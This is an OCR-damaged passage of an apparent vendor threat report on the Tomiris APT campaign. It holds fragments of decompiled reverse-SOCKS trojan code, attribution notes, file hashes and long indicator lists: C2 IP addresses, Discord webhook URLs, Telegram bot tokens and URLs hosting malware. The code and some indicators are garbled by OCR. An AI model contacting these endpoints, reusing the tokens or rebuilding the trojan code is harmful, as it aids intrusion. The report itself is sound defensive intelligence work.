for ( 1 =8; i £ readfds.fd_count && readfds.fd_array[i] !'= sock; ++1 )
if {( i == readfds.fd_count && readfds.fd_count < @x48 )
readfds.fd_array[i] = sock;
+Hreadfds.fd_count;
if { select(scck + 1, &readfds, @, @, @) = 8 )
1
if { _WSAFDIsSet(socck, &readfds) )
1
qq.x = sock;
q0.VERBOSE_mode = 1;
qq.timecut_sec = 38;
qgq.buf_size = 512;
create_SockS_thread(&gq);
¥
¥
1
}

return -1;

Main routine of Tomiris C++ ReverseSocks
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Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)

The Trojan is a reverse SOCKS proxy written in Golang, with code that is almost entirely copied
from the GitHub project Acebond/ReverseSocks5. Debugging messages from the original project
have been removed, and functionality to hide the console window has been added.

func main() {

psk := flag.String("psk", "pe
connect := flag.String("conr
connectILlS := flag.Bool({"tls",

false, "Con

flag.Parse ()

ReverseScockshgent (*connect, *psk, *connectIL3)

func main) {
const version = "v2
log.Printf ("Reve

listen := flag.String("listen"™, ":10443", "Listen address for socks agents address:port™)
socks := flag.String("sccks” 1:1

psk := £lag.String("psk", the agent and serwver"™)
connect := flag.String("conr 0
connectILlS := flag.Bool("tls™, "Con L5 i . e mist be using certificates”)

username := f£lag.String("u
password := flag. Strlng{""'
cert := flag.S5tring(”
key := flag.5tring("ksy", "", "pri

flag.Parse ()
log.SetFlags (log.LstdFlags | log.Lshortfile)

if *connect = " |
BeverseSocksSerwver (*listen, *sccks, *psk, *cert, *key, *username, *password)
} else |
ReverseSockshgent (*connect, *psk, *connectILS)
}
}

Difference between the restored main function of the Trojan code and the original code from the GitHub project

Victims

Over 50% of the spear-phishing emails and decoy files in this campaign used Russian names and
contained Russian text, suggesting a primary focus on Russian-speaking users or entities. The
remaining emails were tailored to users in Turkmenistan, Kyrgyzstan, Tajikistan, and Uzbekistan,
and included content in their respective national languages.

Attribution

In our previous report, we described the JLORAT tool used by the Tomiris APT group. By
analyzing numerous JLORAT samples, we were able to identify several distinct propagation
patterns commonly employed by the attackers. These patterns include the use of long and highly
specific filenames, as well as the distribution of these tools in password-protected archives with
passwords in the format “xyz@2025” (for example, “min@2025” or “sib@2025”). These same
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patterns were also observed with reverse shells and other tools described in this article. Moreover,
different malware samples were often distributed under the same file name, indicating their
connection. Below is a brief list of overlaps among tools with similar file names:

Filename (for convenience, we used the asterisk Tool

character to substitute numerous space symbols

before file extension)

annapart npaBuUTENbCTBA POCCUINCKON dheaepaLmm no

BOMPOCY OTHECEHWSI peanu3yeMblX Ha TEPPUTOPUN
cnbupckoro cdegeparnbHOro okpyra*.exe
(translated: Federal Government Agency of the
Russian Federation regarding the issue of
designating objects located in the Siberian Federal
District*.exe)

Tomiris C/C++ ReverseShell:
078be0065d0277935¢cdcf7e3e9db4679
33ed1534bbc8bd51e7e2c¢f01cadc9646
536a48917f823595b990f5b14b46e676
9ea699b9854dde15babf260bed30efcc
Tomiris Rust ReverseShell:
9a9b1ba210ac2ebfe190d1c63ec707fa

Tomiris Go ReverseShell:
c26e318f38dfd17a233b23a3ff80b5f4

Tomiris PowerShell Telegram Backdoor:
c75665e77ffb3692c2400c3c8dd8276b

O paboTe no4YTOBOrO CepBepa nnaH 1 NPoBeAEHHas
paboTta*.exe

(translated: Work of the mail server: plan and
performed work*.exe)

Tomiris C/C++ ReverseShell:
0f955d7844e146f2bd756c9ca8711263
Tomiris Rust Downloader:
1083b668459beacbc097b3d4a103623f

Tomiris C# ReverseShell:
abb3e2b8c69ff859a0ec49b9666f0a01

Tomiris Go ReverseShell:
c26e318f38dfd17a233b23a3ff80b5f4

nnaH-nNpoTOKON BCTPEYM O COTPyaHMYECTBE
npeacraBuTenen®.exe
(translated: Meeting plan-protocol on cooperation
representatives®.exe)

Tomiris PowerShell Telegram Backdoor:
09913¢3292e525af34b3a29e70779ad6
0ddc7f3cfc1fb3cea860dc495a745d16
Tomiris C/C++ ReverseShell:
0f955d7844e146f2bd756c9ca8711263

Tomiris Rust Downloader:
1083b668459beacbc097b3d4a103623f
72327bf7a146273a3cfec79c2cbbeb4e
d3641495815¢c9617e58470448a1c94db

JLORAT:
c73c545¢c32e5d1f72b74ab0087ae1720
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NMOSTIOXXEHUS O LIEHTpax NepenoBoro onbita Tomiris PowerShell Telegram Backdoor:
(MpeBocxoacTBa) B paMKax MeXrocyaapCTBEHHON 09913c3292e525af34b3a29e70779ad6
nporpamMmmbl*.exe Tomiris C/C++ ReverseShell:
(translated: Provisions on Centers of Best Practices 33ed1534bbc8bd51e7e2cf01cadc9646
(Excellence) within the framework of the interstate 9ea699b9854dde15babf260bed30efcc
program®.exe)

JLORAT:

6a49982272ba11b7985a2cec6fbb9a96

c73c545c32e5d1f72b74ab0087ae1720

Tomiris Rust Downloader:
72327bf7a146273a3cfec79c2cbbeb4e

We also analyzed the group’s activities and found other tools associated with them that may have

been stored on the same servers or used the same servers as a C2 infrastructure. We are highly
confident that these tools all belong to the Tomiris group.

Conclusions

The Tomiris 2025 campaign leverages multi-language malware modules to enhance operational
flexibility and evade detection by appearing less suspicious. The primary objective is to establish
remote access to target systems and use them as a foothold to deploy additional tools, including
AdaptixC2 and Havoc, for further exploitation and persistence.

The evolution in tactics underscores the threat actor’s focus on stealth, long-term persistence, and
the strategic targeting of government and intergovernmental organizations. The use of public
services for C2 communications and multi-language implants highlights the need for advanced
detection strategies, such as behavioral analysis and network traffic inspection, to effectively
identify and mitigate such threats.

Indicators of compromise

More indicators of compromise, as well as any updates to them, are available to customers of our
APT reporting_service. If interested, please contact intelreports@kaspersky.com.

Distopia Backdoor
B8FE3AOADEB64F370DB2EA1E743C84BB

Tomiris Python Discord ReverseShell
091FBACD889FA390DC76BB24C2013B59

Tomiris Python FileGrabber
COF81B33A80E5E4E96E503DBC401CBEE

Tomiris Python Telegram ReverseShell
42E165AB4C3495FADE8220F4EGF5F696
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https://www.kaspersky.com/enterprise-security/apt-intelligence-reporting
mailto:intelreports@kaspersky.com
https://opentip.kaspersky.com/b8fe3a0ad6b64f370db2ea1e743c84bb/?icid=gl_sl_opentip-lnk_sm-team_b6a9ae24b73c69b2&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/091fbacd889fa390dc76bb24c2013b59/?icid=gl_sl_opentip-lnk_sm-team_7331ad969266554c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c0f81b33a80e5e4e96e503dbc401cbee/?icid=gl_sl_opentip-lnk_sm-team_f0764d106e1228a3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/42e165ab4c3495fade8220f4e6f5f696/?icid=gl_sl_opentip-lnk_sm-team_3edaae8fc09615e4&utm_source=SL&utm_medium=SL&utm_campaign=SL

Tomiris C# Telegram ReverseShell
2FBA6F91ADA8SD05199AD94AFFDSESA18

Tomiris C/C++ ReverseShell
0F955D7844E146F2BD756C9CA8711263
078BE0065D0277935CDCF7E3E9DB4679
33ED1534BBC8BD51E7E2CF01CADC9646

Tomiris Rust Downloader
1083B668459BEACBC097B3D4A103623F

JLORAT
C73C545C32E5D1F72B74AB0087AE1720

Tomiris Rust ReverseShell
9A9B1BA210AC2EBFE190D1C63EC707FA

Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)
2EDSEBC15B377C5A03F75E07DCS5F1EQ8

Tomiris PowerShell Telegram Backdoor
C75665E77FFB3692C2400C3C8DD8276B

Tomiris C# ReverseShell
DF95695A3A93895C1E87A76B4A8A9812

Tomiris Go ReverseShell
087743415E1F6CC961E9D2BB6DFD6D51

Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)
83267C4E942C7B86154ACD3CS8EAF26C

AdaptixC2

CD46316AEBC41E36790686F1EC1C39F0
1241455DA8AADC1D828F89476F7183B7
F1IDCAOC280E86C39873D8B6AF40F7588

Havoc
4EDCO02724A72AFC3CF78710542DB1EGE

Domains/IPs/URLs

Distopia Backdoor
hxxps://discord[.]Jcom/api/webhooks/1357597727164338349/ikaFqukFoCcbdfQlYXE91j-dGB-
8YsTNeSrXnAclYx39Hijf2cIPQalTIAxP9-2791UCZ
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https://opentip.kaspersky.com/2fba6f91ada8d05199ad94affd5e5a18/?icid=gl_sl_opentip-lnk_sm-team_0a1eddf64c9bc160&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/0f955d7844e146f2bd756c9ca8711263/?icid=gl_sl_opentip-lnk_sm-team_fc86ecbb70ceec82&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/078be0065d0277935cdcf7e3e9db4679/?icid=gl_sl_opentip-lnk_sm-team_6723d8eb4a6fdb8a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/33ed1534bbc8bd51e7e2cf01cadc9646/?icid=gl_sl_opentip-lnk_sm-team_de99840304d6c8a8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/1083b668459beacbc097b3d4a103623f/?icid=gl_sl_opentip-lnk_sm-team_288424197a9ebd04&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c73c545c32e5d1f72b74ab0087ae1720/?icid=gl_sl_opentip-lnk_sm-team_96d144dd6304ed97&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/9a9b1ba210ac2ebfe190d1c63ec707fa/?icid=gl_sl_opentip-lnk_sm-team_720f51badafb145b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/2ed5ebc15b377c5a03f75e07dc5f1e08/?icid=gl_sl_opentip-lnk_sm-team_09088a7e06fde98e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c75665e77ffb3692c2400c3c8dd8276b/?icid=gl_sl_opentip-lnk_sm-team_75be84793a808236&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/df95695a3a93895c1e87a76b4a8a9812/?icid=gl_sl_opentip-lnk_sm-team_85a795ee45c283f0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/087743415e1f6cc961e9d2bb6dfd6d51/?icid=gl_sl_opentip-lnk_sm-team_f88dee97ec480468&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/83267c4e942c7b86154acd3c58eaf26c/?icid=gl_sl_opentip-lnk_sm-team_329a68b73fda3322&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/cd46316aebc41e36790686f1ec1c39f0/?icid=gl_sl_opentip-lnk_sm-team_4ddb783321af9639&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/1241455da8aadc1d828f89476f7183b7/?icid=gl_sl_opentip-lnk_sm-team_6f5e7b07f83d833b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/f1dca0c280e86c39873d8b6af40f7588/?icid=gl_sl_opentip-lnk_sm-team_0000cc1f3fca2b48&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/4edc02724a72afc3cf78710542db1e6e/?icid=gl_sl_opentip-lnk_sm-team_e096d4fe4bff65b4&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1357597727164338349%2fikafqukfoccbdfqiyxe91j-dgb-8ystnesrxnaclyx39hjf2cipqaltlaxp9-2791ucz/?icid=gl_sl_opentip-lnk_sm-team_0c1f24bc502552ac&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1357597727164338349%2fikafqukfoccbdfqiyxe91j-dgb-8ystnesrxnaclyx39hjf2cipqaltlaxp9-2791ucz/?icid=gl_sl_opentip-lnk_sm-team_0c1f24bc502552ac&utm_source=SL&utm_medium=SL&utm_campaign=SL

Tomiris Python Discord ReverseShell
hxxps://discord[.]Jcom/api/webhooks/1370623818858762291/p1DC318XyGviRFAR50de6tKYPOCC

r1hTAes9B9ljbd-J-dY7bddi31BCVI0niZ3bxIMu
hxxps://discord[.]Jcom/api/webhooks/1388018607283376231/YY Je-
Int4HyvasKIhoOJECh9yjOtbllL_nalKBMUKUB3xsk7Mj74cUS5IfBDYBYX-E78G
hxxps://discord[.]Jcom/api/webhooks/1386588127791157298/FSOtFTIJaNRTO1RVXkS5fFsU_sjp_8
EOk2QK3t5BUCACMFR_SHMOEYyLhFUvVKY3ndk8-w
hxxps://discord[.]Jcom/api/webhooks/1369277038321467503/KqfsoVzebWNNGqFXePMxqiOpta24
45WZxYNsY9EsYviu_iyXAfYL3GGG76bCKy3-a75
hxxps://discord[.]Jcom/api/webhooks/1396726652565848135/0OFds8Do2qH-
C_VOckaF1AJJAQQJUKQ-YZVrO1t7cWuvAp7LNfql7piZlyCcS1qvwpXTZ

Tomiris Python FileGrabber
hxxp://62.113.115[.]89/homepagel/infile.php

Tomiris Python Telegram ReverseShell
hxxps://api.telegram|.]org/bot7562800307:AAHVB7 Ctr-K52J-egBIEdVoRHvJcYr-OnLQ/

Tomiris C# Telegram ReverseShell
hxxps://api.telegram[.]org/bot7804558453:AAFR20jE7ktvyfyglelneu_8WDaaSkduV7k/

Tomiris C/C++ ReverseShell
77.232.39[.147
109.172.85[.]63
109.172.85[.]195
185.173.37[.167
185.231.155[.]111
195.2.81[.]199

Tomiris Rust Downloader
hxxps://discordapp[.Jcom/api/webhooks/1392383639450423359/TmFw-WY-
u3D3HihXqVOOQinL730KgXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX
hxxps://discordapp|.lcom/api/webhooks/1363764458815623370/IMErckdJLreUbvxcUA8c8SCfhm
nsnivtiwYSf7nDJF-bWZcFcSE2VhXdISgVbheSzhGYE
hxxps://discordapp[.Jcom/api/webhooks/1355019191127904457/xCYi5fx_Y2-
ddUEQCdHfiKmgrAC-Cp90i-Qo3aF G318P5i-GNRfMZINFOxFrQkZJNJsR
hxxp://82.115.223[.]218/

hxxp://172.86.75[.]102/

hxxp://193.149.129[.]1113/

JLORAT
hxxp://82.115.223[.]210:9942/bot_auth
hxxp://88.214.26[,]37:9942/bot_auth
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https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1370623818858762291%2fp1dc3l8xygvirfar50de6tkyp0ccr1htaes9b9ljbd-j-dy7bddi31bcv90niz3bximu/?icid=gl_sl_opentip-lnk_sm-team_90f7a99a1b35173d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1370623818858762291%2fp1dc3l8xygvirfar50de6tkyp0ccr1htaes9b9ljbd-j-dy7bddi31bcv90niz3bximu/?icid=gl_sl_opentip-lnk_sm-team_90f7a99a1b35173d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1388018607283376231%2fyyje-lnt4hyvasklhoojech9yjotblll_nalkbmukub3xsk7mj74cu5ifbdybyx-e78g/?icid=gl_sl_opentip-lnk_sm-team_3daff6d0563a488d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1388018607283376231%2fyyje-lnt4hyvasklhoojech9yjotblll_nalkbmukub3xsk7mj74cu5ifbdybyx-e78g/?icid=gl_sl_opentip-lnk_sm-team_3daff6d0563a488d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1386588127791157298%2ffsotftijanrt01rvxk5ffsu_sjp_8e0k2qk3t5bucacmfr_shmoeyylhfuvky3ndk8-w/?icid=gl_sl_opentip-lnk_sm-team_8f0c071546a1a189&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1386588127791157298%2ffsotftijanrt01rvxk5ffsu_sjp_8e0k2qk3t5bucacmfr_shmoeyylhfuvky3ndk8-w/?icid=gl_sl_opentip-lnk_sm-team_8f0c071546a1a189&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1369277038321467503%2fkqfsovzebwnngqfxepmxqi0pta2445wzxynsy9esyv1u_iyxafyl3ggg76bcky3-a75/?icid=gl_sl_opentip-lnk_sm-team_14bb2e537840c1c8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1369277038321467503%2fkqfsovzebwnngqfxepmxqi0pta2445wzxynsy9esyv1u_iyxafyl3ggg76bcky3-a75/?icid=gl_sl_opentip-lnk_sm-team_14bb2e537840c1c8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1396726652565848135%2fofds8do2qh-c_v0ckaf1ajjaqqjukq-yzvro1t7cwuvap7lnfqi7pizlyccs1qvwpxtz/?icid=gl_sl_opentip-lnk_sm-team_f34d4e2fd68b1278&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscord.com%2fapi%2fwebhooks%2f1396726652565848135%2fofds8do2qh-c_v0ckaf1ajjaqqjukq-yzvro1t7cwuvap7lnfqi7pizlyccs1qvwpxtz/?icid=gl_sl_opentip-lnk_sm-team_f34d4e2fd68b1278&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f62.113.115.89%2fhomepage%2finfile.php/?icid=gl_sl_opentip-lnk_sm-team_2c399924b697c873&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fapi.telegram.org%2fbot7562800307%3aaahvb7ctr-k52j-egbledvorhvjcyr-0nlq%2f/?icid=gl_sl_opentip-lnk_sm-team_62ad04554e77121a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fapi.telegram.org%2fbot7804558453%3aaafr2ojf7ktvyfygleineu_8wdaaskduv7k%2f/?icid=gl_sl_opentip-lnk_sm-team_25e1dbe3baf88638&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/77.232.39.47/?icid=gl_sl_opentip-lnk_sm-team_5a791bbbe1027b4f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/109.172.85.63/?icid=gl_sl_opentip-lnk_sm-team_c3e7d2ebdb289161&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/109.172.85.95/?icid=gl_sl_opentip-lnk_sm-team_47e35030d1904eb3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/185.173.37.67/?icid=gl_sl_opentip-lnk_sm-team_4c55b585759ac531&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/185.231.155.111/?icid=gl_sl_opentip-lnk_sm-team_dc0aa5a0230009f1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/195.2.81.99/?icid=gl_sl_opentip-lnk_sm-team_934efdf77205d41c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscordapp.com%2fapi%2fwebhooks%2f1392383639450423359%2ftmfw-wy-u3d3hihxqvooinl73okqxvi69ibnh_rr15std3ftffsp2bjah59zviwkwjrx/?icid=gl_sl_opentip-lnk_sm-team_c153b21ed5115b81&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscordapp.com%2fapi%2fwebhooks%2f1392383639450423359%2ftmfw-wy-u3d3hihxqvooinl73okqxvi69ibnh_rr15std3ftffsp2bjah59zviwkwjrx/?icid=gl_sl_opentip-lnk_sm-team_c153b21ed5115b81&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscordapp.com%2fapi%2fwebhooks%2f1363764458815623370%2fimerckdjlreubvxcua8c8scfhmnsnivtwysf7ndjf-bwzcfcse2vhxdlsgvbheszhgye/?icid=gl_sl_opentip-lnk_sm-team_1d8f52becf38f0e6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscordapp.com%2fapi%2fwebhooks%2f1363764458815623370%2fimerckdjlreubvxcua8c8scfhmnsnivtwysf7ndjf-bwzcfcse2vhxdlsgvbheszhgye/?icid=gl_sl_opentip-lnk_sm-team_1d8f52becf38f0e6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscordapp.com%2fapi%2fwebhooks%2f1355019191127904457%2fxcyi5fx_y2-ddue0cdhfikmgrac-cp9oi-qo3afg318p5i-gnrfmzinfoxfrqkzjnjsr/?icid=gl_sl_opentip-lnk_sm-team_ac06819e0b849134&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fdiscordapp.com%2fapi%2fwebhooks%2f1355019191127904457%2fxcyi5fx_y2-ddue0cdhfikmgrac-cp9oi-qo3afg318p5i-gnrfmzinfoxfrqkzjnjsr/?icid=gl_sl_opentip-lnk_sm-team_ac06819e0b849134&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f82.115.223.218%2f/?icid=gl_sl_opentip-lnk_sm-team_f72a730de60c51e1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f172.86.75.102%2f/?icid=gl_sl_opentip-lnk_sm-team_fc8c13f37b05ec22&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f193.149.129.113%2f/?icid=gl_sl_opentip-lnk_sm-team_9c442fa95d10021b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f82.115.223.210%3a9942%2fbot_auth/?icid=gl_sl_opentip-lnk_sm-team_c80048ac29d697ce&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/http%3a%2f%2f88.214.26.37%3a9942%2fbot_auth/?icid=gl_sl_opentip-lnk_sm-team_ecccce61a88f545a&utm_source=SL&utm_medium=SL&utm_campaign=SL

hxxp://141.98.82[.]198:9942/bot_auth

Tomiris Rust ReverseShell
185.209.30[.]41

Tomiris C++ ReverseSocks (based on GitHub “Neosama/Reverse-SOCKS5”)
185.231.154[.184

Tomiris PowerShell Telegram Backdoor
hxxps://api.telegram|.]Jorg/bot8044543455:AAG3Pt4fvf6tJj4Umz2TzJTITZD7ZUArT8E/
hxxps://api.telegram|[.Jorg/bot7864956192: AAEJEXTWgNAMEMGBI2EsSs46AhO7Bw8STcY/
hxxps://api.telegram|.]org/bot8039791391:AAHCE2qYmeRZ5P29G6mFAyIVJI8qH_ZVBh8/
hxxps://api.telegram[.Jorg/bot7157076145:AAG79gKudRCPu28blyitdZptX_4z_LIxOS0/
hxxps://api.telegram].Jorg/bot7649829843:AAH_ogPjAfuv-0Q5_Y-s8YmIWR73Gbid5h0/

Tomiris C# ReverseShell
206.188.196[.]191
188.127.225[.]191
188.127.251[.]146
94.198.52[.]200
188.127.227[.]226
185.244.180[.]169
91.219.148[.193

Tomiris Go ReverseShell
62.113.114[.]209
195.2.78[.]133

Tomiris Go ReverseSocks (based on GitHub “Acebond/ReverseSocks5”)
192.165.32[.]78
188.127.231[.]136

AdaptixC2
77.232.42[.]107
94.198.52[.]210
96.9.124][.]207
192.153.57[.]189
64.7.199[.]193

Havoc
78.128.112[.]209
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https://opentip.kaspersky.com/http%3a%2f%2f141.98.82.198%3a9942%2fbot_auth/?icid=gl_sl_opentip-lnk_sm-team_be6e2e297e515a85&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/185.209.30.41/?icid=gl_sl_opentip-lnk_sm-team_b7cf332e1e46ae18&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/185.231.154.84/?icid=gl_sl_opentip-lnk_sm-team_af371e3a1cf19c1d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fapi.telegram.org%2fbot8044543455%3aaag3pt4fvf6tjj4umz2tzjtttzd7zuart8e%2f/?icid=gl_sl_opentip-lnk_sm-team_e5e1e00c16ec0c91&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fapi.telegram.org%2fbot7864956192%3aaaejextwgnamemgbi2esss46aho7bw8stcy%2f/?icid=gl_sl_opentip-lnk_sm-team_72568d6544f68bce&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fapi.telegram.org%2fbot8039791391%3aaahce2qymerz5p29g6mfaylvjl8qh_zvbh8%2f/?icid=gl_sl_opentip-lnk_sm-team_d9f4d3fab7a40c3a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fapi.telegram.org%2fbot7157076145%3aaag79qkudrcpu28blyitjzptx_4z_llxos0%2f/?icid=gl_sl_opentip-lnk_sm-team_25953ffb7035b26e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3a%2f%2fapi.telegram.org%2fbot7649829843%3aaah_ogpjafuv-oq5_y-s8ymlwr73gbid5h0%2f/?icid=gl_sl_opentip-lnk_sm-team_7cc96b38b2969d14&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/206.188.196.191/?icid=gl_sl_opentip-lnk_sm-team_ec3df9e7902aa911&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/188.127.225.191/?icid=gl_sl_opentip-lnk_sm-team_02d4fb6ad329f4fc&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/188.127.251.146/?icid=gl_sl_opentip-lnk_sm-team_a5d17640ed66f310&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/94.198.52.200/?icid=gl_sl_opentip-lnk_sm-team_6dbaa2735b26b7c6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/188.127.227.226/?icid=gl_sl_opentip-lnk_sm-team_6ccfbc7116776779&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/185.244.180.169/?icid=gl_sl_opentip-lnk_sm-team_9b447dbc50a38dad&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/91.219.148.93/?icid=gl_sl_opentip-lnk_sm-team_d4d229024ef66f81&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/62.113.114.209/?icid=gl_sl_opentip-lnk_sm-team_cc996df7cb63daff&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/195.2.78.133/?icid=gl_sl_opentip-lnk_sm-team_6aaca9ee3700bbd3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/192.165.32.78/?icid=gl_sl_opentip-lnk_sm-team_3e260d328c24557a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/188.127.231.136/?icid=gl_sl_opentip-lnk_sm-team_aec96f66c284db0d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/77.232.42.107/?icid=gl_sl_opentip-lnk_sm-team_9e4b21dd4ec019e9&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/94.198.52.210/?icid=gl_sl_opentip-lnk_sm-team_0e8854a3fc86bad4&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://securelist.com/opentip.kaspersky.com/96.9.124.207/?icid=gl_sl_opentip-lnk_sm-team_5d5ff9d48430f78b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/192.153.57.189/?icid=gl_sl_opentip-lnk_sm-team_36bda610bfea869e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/64.7.199.193/?icid=gl_sl_opentip-lnk_sm-team_125438ca1197ab99&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/78.128.112.209/?icid=gl_sl_opentip-lnk_sm-team_ff6abd8479990f18&utm_source=SL&utm_medium=SL&utm_campaign=SL

Malicious URLs
hxxp://188.127.251[.]146:8080/sbchost.rar
hxxp://188.127.251[.]146:8080/sxbchost.exe

hxxp://192.153.57[.]9/private/svchost.exe
hxxp://193.149.129[.]1113/732.exe
hxxp://193.149.129[.]113/system.exe
hxxp://195.2.79[.]245/732.exe
hxxp://195.2.79[.]245/code.exe
hxxp://195.2.79[.]245/firefox.exe
hxxp://195.2.79[.]245/rever.exe
hxxp://195.2.79[.]245/service.exe
hxxp://195.2.79[.]245/winload.exe
hxxp://195.2.79[.]245/winload.rar
hxxp://195.2.79[.]245/winsrv.rar
hxxp://195.2.79[.]245/winupdate.exe
hxxp://62.113.115[.]89/offel.exe
hxxp://82.115.223[.]78/private/dwm.exe
hxxp://82.115.223[.]78/private/msview.exe
hxxp://82.115.223][.]78/private/spoolsvc.exe
hxxp://82.115.223[.]78/private/svchost.exe
hxxp://82.115.223[.]78/private/sysmgmt.exe
hxxp://85.209.128[.]171:8000/AkelPad.rar
hxxp://88.214.25[.]249:443/netexit.rar
hxxp://89.110.95[.]151/dwm.exe
